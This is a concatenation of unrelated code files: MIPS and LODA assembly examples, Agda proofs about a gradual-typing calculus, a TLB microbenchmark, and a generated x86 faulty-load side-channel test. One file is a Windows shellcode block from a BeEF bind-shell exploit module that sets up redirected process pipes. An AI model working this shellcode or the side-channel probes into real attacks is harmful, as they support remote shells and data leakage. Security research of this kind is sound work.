src/main/resources/Examples/PreProcessing Commands/define.asm | jimw278/MIPS | 3 | 3424 | <filename>src/main/resources/Examples/PreProcessing Commands/define.asm
;define can be used for many things including using defined values for pre processor if/ifelse statements
#define gold 7
#define reg $2
#define zero $0
addi reg, zero, gold
#define reg $5 ;this will give you a warning because reg is apready defined use undef reg for proper convention
addi reg, zero, gold
#define NAME EXAMPLE_DEFINE ;this can used in if and ifelse statements
|
src/Dodo/Unary.agda | sourcedennis/agda-dodo | 0 | 11214 | {-# OPTIONS --without-K --safe #-}
module Dodo.Unary where
open import Dodo.Unary.Dec public
open import Dodo.Unary.Disjoint public
open import Dodo.Unary.Empty public
open import Dodo.Unary.Equality public
open import Dodo.Unary.Intersection public
open import Dodo.Unary.Union public
open import Dodo.Unary.Unique public
open import Dodo.Unary.XOpt public
open ⊆₁-Reasoning public
open ⇔₁-Reasoning public
|
oeis/212/A212823.asm | neoneye/loda-programs | 11 | 177895 | ; A212823: Number of 0..2 arrays of length n with no adjacent pair equal to its immediately preceding adjacent pair, and new values introduced in 0..2 order.
; Submitted by <NAME>
; 1,2,5,12,33,90,246,672,1836,5016,13704,37440,102288,279456,763488,2085888,5698752,15569280,42536064,116210688,317493504,867408384,2369803776,6474424320,17688456192,48325761024,132028434432,360708390912,985473650688,2692364083200,7355675467776,20096079101952,54903509139456,149999176482816,409805371244544,1119609095454720,3058828933398528,8356876057706496,22831409982210048,62376572079833088,170415964124086272,465585072407838720,1272002073063849984,3475174290943377408,9494352728014454784
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,$2
mul $3,2
lpe
mov $0,$3
mul $0,6
div $0,4
sub $0,3
div $0,2
add $0,2
|
progress.agda | hazelgrove/hazelnut-dynamics-agda | 16 | 8361 | open import Nat
open import Prelude
open import core
open import contexts
open import lemmas-consistency
open import lemmas-ground
open import progress-checks
open import canonical-boxed-forms
open import canonical-value-forms
open import canonical-indeterminate-forms
open import ground-decidable
open import htype-decidable
module progress where
-- this is a little bit of syntactic sugar to avoid many layer nested Inl
-- and Inrs that you would get from the more literal transcription of the
-- consequent of progress
data ok : (d : ihexp) (Δ : hctx) → Set where
S : ∀{d Δ} → Σ[ d' ∈ ihexp ] (d ↦ d') → ok d Δ
I : ∀{d Δ} → d indet → ok d Δ
BV : ∀{d Δ} → d boxedval → ok d Δ
progress : {Δ : hctx} {d : ihexp} {τ : htyp} →
Δ , ∅ ⊢ d :: τ →
ok d Δ
-- constants
progress TAConst = BV (BVVal VConst)
-- variables
progress (TAVar x₁) = abort (somenotnone (! x₁))
-- lambdas
progress (TALam _ wt) = BV (BVVal VLam)
-- applications
progress (TAAp wt1 wt2)
with progress wt1 | progress wt2
-- if the left steps, the whole thing steps
progress (TAAp wt1 wt2) | S (_ , Step x y z) | _ = S (_ , Step (FHAp1 x) y (FHAp1 z))
-- if the left is indeterminate, step the right
progress (TAAp wt1 wt2) | I i | S (_ , Step x y z) = S (_ , Step (FHAp2 x) y (FHAp2 z))
-- if they're both indeterminate, step when the cast steps and indet otherwise
progress (TAAp wt1 wt2) | I x | I x₁
with canonical-indeterminate-forms-arr wt1 x
progress (TAAp wt1 wt2) | I x | I y | CIFACast (_ , _ , _ , _ , _ , refl , _ , _ ) = S (_ , Step FHOuter ITApCast FHOuter)
progress (TAAp wt1 wt2) | I x | I y | CIFAEHole (_ , _ , _ , refl , _) = I (IAp (λ _ _ _ _ _ ()) x (FIndet y))
progress (TAAp wt1 wt2) | I x | I y | CIFANEHole (_ , _ , _ , _ , _ , refl , _) = I (IAp (λ _ _ _ _ _ ()) x (FIndet y))
progress (TAAp wt1 wt2) | I x | I y | CIFAAp (_ , _ , _ , _ , _ , refl , _) = I (IAp (λ _ _ _ _ _ ()) x (FIndet y))
progress (TAAp wt1 wt2) | I x | I y | CIFACastHole (_ , refl , refl , refl , _ ) = I (IAp (λ _ _ _ _ _ ()) x (FIndet y))
progress (TAAp wt1 wt2) | I x | I y | CIFAFailedCast (_ , _ , refl , _ ) = I (IAp (λ _ _ _ _ _ ()) x (FIndet y))
-- similar if the left is indetermiante but the right is a boxed val
progress (TAAp wt1 wt2) | I x | BV x₁
with canonical-indeterminate-forms-arr wt1 x
progress (TAAp wt1 wt2) | I x | BV y | CIFACast (_ , _ , _ , _ , _ , refl , _ , _ ) = S (_ , Step FHOuter ITApCast FHOuter)
progress (TAAp wt1 wt2) | I x | BV y | CIFAEHole (_ , _ , _ , refl , _) = I (IAp (λ _ _ _ _ _ ()) x (FBoxedVal y))
progress (TAAp wt1 wt2) | I x | BV y | CIFANEHole (_ , _ , _ , _ , _ , refl , _) = I (IAp (λ _ _ _ _ _ ()) x (FBoxedVal y))
progress (TAAp wt1 wt2) | I x | BV y | CIFAAp (_ , _ , _ , _ , _ , refl , _) = I (IAp (λ _ _ _ _ _ ()) x (FBoxedVal y))
progress (TAAp wt1 wt2) | I x | BV y | CIFACastHole (_ , refl , refl , refl , _ ) = I (IAp (λ _ _ _ _ _ ()) x (FBoxedVal y))
progress (TAAp wt1 wt2) | I x | BV y | CIFAFailedCast (_ , _ , refl , _ ) = I (IAp (λ _ _ _ _ _ ()) x (FBoxedVal y))
-- if the left is a boxed value, inspect the right
progress (TAAp wt1 wt2) | BV v | S (_ , Step x y z) = S (_ , Step (FHAp2 x) y (FHAp2 z))
progress (TAAp wt1 wt2) | BV v | I i
with canonical-boxed-forms-arr wt1 v
... | CBFLam (_ , _ , refl , _) = S (_ , Step FHOuter ITLam FHOuter)
... | CBFCastArr (_ , _ , _ , refl , _ , _) = S (_ , Step FHOuter ITApCast FHOuter)
progress (TAAp wt1 wt2) | BV v | BV v₂
with canonical-boxed-forms-arr wt1 v
... | CBFLam (_ , _ , refl , _) = S (_ , Step FHOuter ITLam FHOuter)
... | CBFCastArr (_ , _ , _ , refl , _ , _) = S (_ , Step FHOuter ITApCast FHOuter)
-- empty holes are indeterminate
progress (TAEHole _ _ ) = I IEHole
-- nonempty holes step if the innards step, indet otherwise
progress (TANEHole xin wt x₁)
with progress wt
... | S (_ , Step x y z) = S (_ , Step (FHNEHole x) y (FHNEHole z))
... | I x = I (INEHole (FIndet x))
... | BV x = I (INEHole (FBoxedVal x))
-- casts
progress (TACast wt con)
with progress wt
-- step if the innards step
progress (TACast wt con) | S (_ , Step x y z) = S (_ , Step (FHCast x) y (FHCast z))
-- if indet, inspect how the types in the cast are realted by consistency:
-- if they're the same, step by ID
progress (TACast wt TCRefl) | I x = S (_ , Step FHOuter ITCastID FHOuter)
-- if first type is hole
progress (TACast {τ1 = τ1} wt TCHole1) | I x
with τ1
progress (TACast wt TCHole1) | I x | b = I (ICastGroundHole GBase x)
progress (TACast wt TCHole1) | I x | ⦇-⦈ = S (_ , Step FHOuter ITCastID FHOuter)
progress (TACast wt TCHole1) | I x | τ11 ==> τ12
with ground-decidable (τ11 ==> τ12)
progress (TACast wt TCHole1) | I x₁ | .⦇-⦈ ==> .⦇-⦈ | Inl GHole = I (ICastGroundHole GHole x₁)
progress (TACast wt TCHole1) | I x₁ | τ11 ==> τ12 | Inr x = S (_ , Step FHOuter (ITGround (MGArr (ground-arr-not-hole x))) FHOuter)
-- if second type is hole
progress (TACast wt (TCHole2 {b})) | I x
with canonical-indeterminate-forms-hole wt x
progress (TACast wt (TCHole2 {b})) | I x | CIFHEHole (_ , _ , _ , refl , f) = I (ICastHoleGround (λ _ _ ()) x GBase)
progress (TACast wt (TCHole2 {b})) | I x | CIFHNEHole (_ , _ , _ , _ , _ , refl , _ ) = I (ICastHoleGround (λ _ _ ()) x GBase)
progress (TACast wt (TCHole2 {b})) | I x | CIFHAp (_ , _ , _ , refl , _ ) = I (ICastHoleGround (λ _ _ ()) x GBase)
progress (TACast wt (TCHole2 {b})) | I x | CIFHCast (_ , τ , refl , _)
with htype-dec τ b
progress (TACast wt (TCHole2 {b})) | I x₁ | CIFHCast (_ , .b , refl , _ , grn , _) | Inl refl = S (_ , Step FHOuter (ITCastSucceed grn ) FHOuter)
progress (TACast wt (TCHole2 {b})) | I x₁ | CIFHCast (_ , _ , refl , π2 , grn , _) | Inr x = S (_ , Step FHOuter (ITCastFail grn GBase x) FHOuter)
progress (TACast wt (TCHole2 {⦇-⦈}))| I x = S (_ , Step FHOuter ITCastID FHOuter)
progress (TACast wt (TCHole2 {τ11 ==> τ12})) | I x
with ground-decidable (τ11 ==> τ12)
progress (TACast wt (TCHole2 {.⦇-⦈ ==> .⦇-⦈})) | I x₁ | Inl GHole
with canonical-indeterminate-forms-hole wt x₁
progress (TACast wt (TCHole2 {.⦇-⦈ ==> .⦇-⦈})) | I x | Inl GHole | CIFHEHole (_ , _ , _ , refl , _) = I (ICastHoleGround (λ _ _ ()) x GHole)
progress (TACast wt (TCHole2 {.⦇-⦈ ==> .⦇-⦈})) | I x | Inl GHole | CIFHNEHole (_ , _ , _ , _ , _ , refl , _) = I (ICastHoleGround (λ _ _ ()) x GHole)
progress (TACast wt (TCHole2 {.⦇-⦈ ==> .⦇-⦈})) | I x | Inl GHole | CIFHAp (_ , _ , _ , refl , _ ) = I (ICastHoleGround (λ _ _ ()) x GHole)
progress (TACast wt (TCHole2 {.⦇-⦈ ==> .⦇-⦈})) | I x | Inl GHole | CIFHCast (_ , ._ , refl , _ , GBase , _) = S (_ , Step FHOuter (ITCastFail GBase GHole (λ ())) FHOuter )
progress (TACast wt (TCHole2 {.⦇-⦈ ==> .⦇-⦈})) | I x | Inl GHole | CIFHCast (_ , ._ , refl , _ , GHole , _) = S (_ , Step FHOuter (ITCastSucceed GHole) FHOuter)
progress (TACast wt (TCHole2 {τ11 ==> τ12})) | I x₁ | Inr x = S (_ , Step FHOuter (ITExpand (MGArr (ground-arr-not-hole x))) FHOuter)
-- if both are arrows
progress (TACast wt (TCArr {τ1} {τ2} {τ1'} {τ2'} c1 c2)) | I x
with htype-dec (τ1 ==> τ2) (τ1' ==> τ2')
progress (TACast wt (TCArr c1 c2)) | I x₁ | Inl refl = S (_ , Step FHOuter ITCastID FHOuter)
progress (TACast wt (TCArr c1 c2)) | I x₁ | Inr x = I (ICastArr x x₁)
-- boxed value cases, inspect how the casts are realted by consistency
-- step by ID if the casts are the same
progress (TACast wt TCRefl) | BV x = S (_ , Step FHOuter ITCastID FHOuter)
-- if left is hole
progress (TACast wt (TCHole1 {τ = τ})) | BV x
with ground-decidable τ
progress (TACast wt TCHole1) | BV x₁ | Inl g = BV (BVHoleCast g x₁)
progress (TACast wt (TCHole1 {b})) | BV x₁ | Inr x = abort (x GBase)
progress (TACast wt (TCHole1 {⦇-⦈})) | BV x₁ | Inr x = S (_ , Step FHOuter ITCastID FHOuter)
progress (TACast wt (TCHole1 {τ1 ==> τ2})) | BV x₁ | Inr x
with (htype-dec (τ1 ==> τ2) (⦇-⦈ ==> ⦇-⦈))
progress (TACast wt (TCHole1 {.⦇-⦈ ==> .⦇-⦈})) | BV x₂ | Inr x₁ | Inl refl = BV (BVHoleCast GHole x₂)
progress (TACast wt (TCHole1 {τ1 ==> τ2})) | BV x₂ | Inr x₁ | Inr x = S (_ , Step FHOuter (ITGround (MGArr x)) FHOuter)
-- if right is hole
progress {τ = τ} (TACast wt TCHole2) | BV x
with canonical-boxed-forms-hole wt x
progress {τ = τ} (TACast wt TCHole2) | BV x | d' , τ' , refl , gnd , wt'
with htype-dec τ τ'
progress (TACast wt TCHole2) | BV x₁ | d' , τ , refl , gnd , wt' | Inl refl = S (_ , Step FHOuter (ITCastSucceed gnd) FHOuter)
progress {τ = τ} (TACast wt TCHole2) | BV x₁ | _ , _ , refl , _ , _ | Inr _
with ground-decidable τ
progress (TACast wt TCHole2) | BV x₂ | _ , _ , refl , gnd , _ | Inr x₁ | Inl x = S(_ , Step FHOuter (ITCastFail gnd x (flip x₁)) FHOuter)
progress (TACast wt TCHole2) | BV x₂ | _ , _ , refl , _ , _ | Inr x₁ | Inr x
with notground x
progress (TACast wt TCHole2) | BV x₃ | _ , _ , refl , _ , _ | Inr _ | Inr _ | Inl refl = S (_ , Step FHOuter ITCastID FHOuter)
progress (TACast wt TCHole2) | BV x₃ | _ , _ , refl , _ , _ | Inr _ | Inr x | Inr (_ , _ , refl) = S(_ , Step FHOuter (ITExpand (MGArr (ground-arr-not-hole x))) FHOuter )
-- if both arrows
progress (TACast wt (TCArr {τ1} {τ2} {τ1'} {τ2'} c1 c2)) | BV x
with htype-dec (τ1 ==> τ2) (τ1' ==> τ2')
progress (TACast wt (TCArr c1 c2)) | BV x₁ | Inl refl = S (_ , Step FHOuter ITCastID FHOuter)
progress (TACast wt (TCArr c1 c2)) | BV x₁ | Inr x = BV (BVArrCast x x₁)
-- failed casts
progress (TAFailedCast wt y z w)
with progress wt
progress (TAFailedCast wt y z w) | S (d' , Step x a q) = S (_ , Step (FHFailedCast x) a (FHFailedCast q))
progress (TAFailedCast wt y z w) | I x = I (IFailedCast (FIndet x) y z w)
progress (TAFailedCast wt y z w) | BV x = I (IFailedCast (FBoxedVal x) y z w)
|
modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm | manchonjul/BeEFImposter | 1 | 242453 | ;-----------------------------------------------------------------------------;
; Author: <NAME> @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP is api_call
; Output:
; esp+00 child stdin read file descriptor (inherited)
; esp+04 child stdin write file descriptor (not inherited)
; esp+08 child stdout read file descriptor (not inherited)
; esp+12 child stdout write file descriptor (inherited)
; esp+16 lpPipeAttributes structure (not used after block - 12 bytes)
; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes
push 1 ; create lpPipeAtrributes structure on stack so pipe handles are inherited
push 0
push 0x0C
create_pipe_stdout:
push 0 ; allocate space on stack for child stdout file descriptor
mov ebx, esp ; save location of where the child stdout Write file descriptor will be
push 0 ; allocate space on stack for child stdout file descriptor
mov ecx, esp ; save location of where the child stdout Read file descriptor will be
push 0 ; nSize
lea edi,[esp+12] ; lpPipeAttributes - inherited
push edi
push ebx ; stdout write file descriptor
push ecx ; stdout read file descriptor
push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" )
call ebp ; CreatePipe( Read, Write, 0, 0 )
create_pipe_stdin:
push 0 ; allocate space on stack for child stdout file descriptor
mov ebx, esp ; save location of where the child stdout Write file descriptor will be
push 0 ; allocate space on stack for child stdout file descriptor
mov ecx, esp ; save location of where the child stdout Read file descriptor will be
push 0 ; nSize
lea edi,[esp+20] ; lpPipeAttributes - inherited
push edi
push ebx ; stdout write file descriptor
push ecx ; stdout read file descriptor
push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" )
call ebp ; CreatePipe( Read, Write, 0, 0 )
no_inherit_read_handle: ; ensure read and write handles to child proc pipes for are not inherited
mov ebx,[esp+8]
push 0
push 1
push ebx ; hChildStdoutRd is the address we set in the CreatePipe call
push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation)
call ebp ; SetHandleInformation
no_inherit_write_handle:
mov ebx,[esp+4]
push 0
push 1
push ebx ; hChildStdinRw is the address we set in the CreatePipe call
push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation)
call ebp ; SetHandleInformation
|
oeis/340/A340051.asm | neoneye/loda-programs | 11 | 10553 | <gh_stars>10-100
; A340051: Mixed-radix representation of n where the least significant digit is in base 3 and other digits are in base 2.
; Submitted by <NAME>(w1)
; 0,1,2,10,11,12,100,101,102,110,111,112,1000,1001,1002,1010,1011,1012,1100,1101,1102,1110,1111,1112,10000,10001,10002,10010,10011,10012,10100,10101,10102,10110,10111,10112,11000,11001,11002,11010,11011,11012,11100,11101,11102,11110,11111,11112,100000,100001,100002,100010,100011,100012,100100,100101,100102,100110,100111,100112,101000,101001,101002,101010,101011,101012,101100,101101,101102,101110,101111,101112,110000,110001,110002,110010,110011,110012,110100,110101,110102,110110,110111,110112
mov $3,1
lpb $0
mul $0,2
mov $2,$0
div $0,6
mul $0,3
div $0,2
mod $2,6
mul $2,$3
add $1,$2
mul $3,10
lpe
mov $0,$1
div $0,2
|
x86-memory.asm | clayne/uarch-bench | 0 | 167920 | %include "x86-helpers.asm"
nasm_util_assert_boilerplate
thunk_boilerplate
; %1 suffix
; %2 chain instruction between load and store
%macro define_tlb_fencing 2
define_bench tlb_fencing_%1
xor eax, eax
mov r9 , [rsi + region.start]
mov r8 , [rsi + region.size]
sub r8 , 64 ; pointer to end of region (plus a bit of buffer)
mov r10, [rsi + region.size]
sub r10, 1 ; mask
mov rsi, r9 ; region start
.top:
mov rcx, rax
and rcx, r10
add rcx, r9
mov rdx, [rcx]
%2
mov DWORD [rsi + rdx + 160], 0
add rax, (64 * 67) ; advance a prime number of cache lines slightly larger than a page
;lfence ; adding an lfence simulates the fencing that happens naturally
dec rdi
jnz .top
ret
%endmacro
define_tlb_fencing dep, {xor rcx, rcx} ; rcx is an unused dummy here
define_tlb_fencing indep, {xor rdx, rdx} ; rdx breaks the load -> store address dep
|
programs/oeis/268/A268947.asm | karttu/loda | 0 | 246639 | <gh_stars>0
; A268947: Number of length-6 0..n arrays with no repeated value unequal to the previous repeated value plus one mod n+1.
; 22,396,2780,11950,38322,101192,232696,482490,923150,1656292,2819412,4593446,7211050,10965600,16220912,23421682,33104646,45910460,62596300,84049182,111300002,145538296,188127720,240622250,304783102,382596372,476291396,588359830,721575450,879014672,1064077792,1280510946,1532428790,1824337900,2161160892,2548261262,2991468946,3497106600,4072016600,4723588762,5459788782,6289187396,7220990260,8265068550,9431990282,10733052352,12180313296,13786626770,15565675750,17532007452,19701068972,22089243646,24713888130,27593370200,30747107272,34195605642,37960500446,42064596340,46531908900,51387706742,56658554362,62372355696,68558398400,75247398850,82471547862,90264557132,98661706396,107699891310,117417672050,127855322632,139054880952,151060199546,163916997070,177672910500,192377548052,208082542822,224841607146,242710587680,261747521200,282012691122,303568684742,326480451196,350815360140,376643261150,404036543842,433070198712,463821878696,496371961450,530803612350,567202848212,605658601732,646262786646,689110363610,734299406800,781931171232,832110160802,884944197046,940544488620,999025701500,1060506029902,1125107267922,1192954881896,1264178083480,1338909903450,1417287266222,1499451065092,1585546238196,1675721845190,1770131144650,1868931672192,1972285319312,2080358412946,2193321795750,2311350907100,2434625864812,2563331547582,2697657678146,2837798907160,2983954897800,3136330411082,3295135391902,3460585055796,3632899976420,3812306173750,3999035203002,4193324244272,4395416192896,4605559750530,4824009516950,5051026082572,5286876121692,5531832486446,5786174301490,6050187059400,6324162716792,6608399791162,6903203458446,7208885651300,7525765158100,7854167722662,8194426144682,8546880380896,8911877646960,9289772520050,9680927042182,10085710824252,10504501150796,10937683085470,11385649577250,11848801567352,12327548096872,12822306415146,13333502088830,13861569111700,14406950015172,14970095979542,15551466945946,16151531729040,16770768130400,17409663052642,18068712614262,18748422265196,19449306903100,20171890990350,20916708671762,21684303893032,22475230519896,23290052458010,24129343773550,24993688814532,25883682332852,26799929607046,27743046565770,28713659912000,29712407247952,30739937200722,31796909548646,32883995348380,34001877062700,35151248689022,36332815888642,37547296116696,38795418752840,40077925232650,41395569179742,42749116538612,44139345708196,45567047676150,47033026153850,48538097712112,50083091917632,51668851470146,53296232340310,54966103908300,56679349103132,58436864542702,60239560674546,62088361917320,63984206803000,65928048119802,67920853055822,69963603343396,72057295404180,74202940494950,76401564854122,78654209848992,80961932123696,83325803747890,85746912366150,88226361348092
mov $2,$0
mov $4,$0
sub $0,$0
add $0,$2
add $2,1
add $0,$2
mov $2,0
add $2,$0
trn $3,$0
add $3,$2
mov $1,$3
lpb $0,1
sub $0,2
add $1,$0
lpe
add $1,21
mov $5,$4
mov $8,77
lpb $8,1
add $1,$5
sub $8,1
lpe
mov $7,$4
lpb $7,1
add $6,$5
sub $7,1
lpe
mov $5,$6
mov $8,125
lpb $8,1
add $1,$5
sub $8,1
lpe
mov $6,0
mov $7,$4
lpb $7,1
add $6,$5
sub $7,1
lpe
mov $5,$6
mov $8,106
lpb $8,1
add $1,$5
sub $8,1
lpe
mov $6,0
mov $7,$4
lpb $7,1
add $6,$5
sub $7,1
lpe
mov $5,$6
mov $8,50
lpb $8,1
add $1,$5
sub $8,1
lpe
mov $6,0
mov $7,$4
lpb $7,1
add $6,$5
sub $7,1
lpe
mov $5,$6
mov $8,12
lpb $8,1
add $1,$5
sub $8,1
lpe
mov $6,0
mov $7,$4
lpb $7,1
add $6,$5
sub $7,1
lpe
mov $5,$6
mov $8,1
lpb $8,1
add $1,$5
sub $8,1
lpe
|
Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0.log_21829_570.asm | ljhsiun2/medusa | 9 | 173094 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x13f54, %r14
nop
sub $25692, %rax
mov $0x6162636465666768, %rdi
movq %rdi, (%r14)
nop
nop
add %r14, %r14
lea addresses_D_ht+0x10f54, %r9
nop
nop
nop
add %rdi, %rdi
mov (%r9), %ecx
nop
nop
nop
dec %rax
lea addresses_A_ht+0x82d8, %rdi
add %r10, %r10
movw $0x6162, (%rdi)
nop
nop
cmp %r9, %r9
lea addresses_A_ht+0x9814, %rdi
nop
nop
sub $34299, %r8
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%rdi)
nop
nop
nop
nop
nop
sub %rax, %rax
lea addresses_D_ht+0x9754, %rdi
nop
nop
nop
and $60142, %r14
movb (%rdi), %r10b
nop
nop
nop
nop
nop
and %rax, %rax
lea addresses_D_ht+0xca94, %r8
nop
nop
xor %r10, %r10
movl $0x61626364, (%r8)
nop
and %rdi, %rdi
lea addresses_normal_ht+0xf8cc, %rsi
lea addresses_WC_ht+0x1ae54, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add %r9, %r9
mov $120, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rcx
lea addresses_UC_ht+0xd054, %rsi
lea addresses_WT_ht+0x16754, %rdi
nop
nop
and %r10, %r10
mov $106, %rcx
rep movsq
nop
nop
nop
nop
nop
add $61692, %r10
lea addresses_WT_ht+0xbf54, %rsi
lea addresses_WC_ht+0x87c, %rdi
nop
nop
nop
inc %r9
mov $118, %rcx
rep movsq
nop
nop
add %r10, %r10
lea addresses_D_ht+0x1de94, %rax
nop
nop
cmp $62740, %r10
mov (%rax), %r8
cmp %rsi, %rsi
lea addresses_WC_ht+0x9777, %rsi
lea addresses_normal_ht+0x12de4, %rdi
dec %r14
mov $124, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $44914, %rdi
lea addresses_D_ht+0x17f54, %rax
nop
nop
nop
xor $30, %rsi
movups (%rax), %xmm1
vpextrq $1, %xmm1, %r14
nop
add %r9, %r9
lea addresses_WT_ht+0xdfaa, %r8
clflush (%r8)
nop
nop
nop
nop
nop
add $953, %r14
movl $0x61626364, (%r8)
cmp $36638, %r8
lea addresses_WC_ht+0x9ec4, %r9
and $11290, %r10
mov $0x6162636465666768, %r14
movq %r14, %xmm7
vmovups %ymm7, (%r9)
nop
nop
nop
nop
add %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %rbx
push %rcx
push %rsi
// Store
lea addresses_A+0x16354, %r10
nop
cmp $7053, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm2
movntdq %xmm2, (%r10)
nop
nop
nop
nop
nop
cmp $35028, %r10
// Store
lea addresses_A+0x158d4, %r11
nop
xor %r13, %r13
mov $0x5152535455565758, %r10
movq %r10, %xmm4
vmovups %ymm4, (%r11)
nop
nop
cmp $51190, %r13
// Load
lea addresses_US+0x8f54, %rsi
nop
nop
nop
cmp $4502, %r11
vmovups (%rsi), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rcx
dec %rcx
// Faulty Load
lea addresses_US+0x8f54, %rsi
nop
nop
cmp $32597, %r11
mov (%rsi), %r13d
lea oracles, %rsi
and $0xff, %r13
shlq $12, %r13
mov (%rsi,%r13,1), %r13
pop %rsi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_A', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_A', 'AVXalign': False, 'size': 32}}
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}}
{'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_normal_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 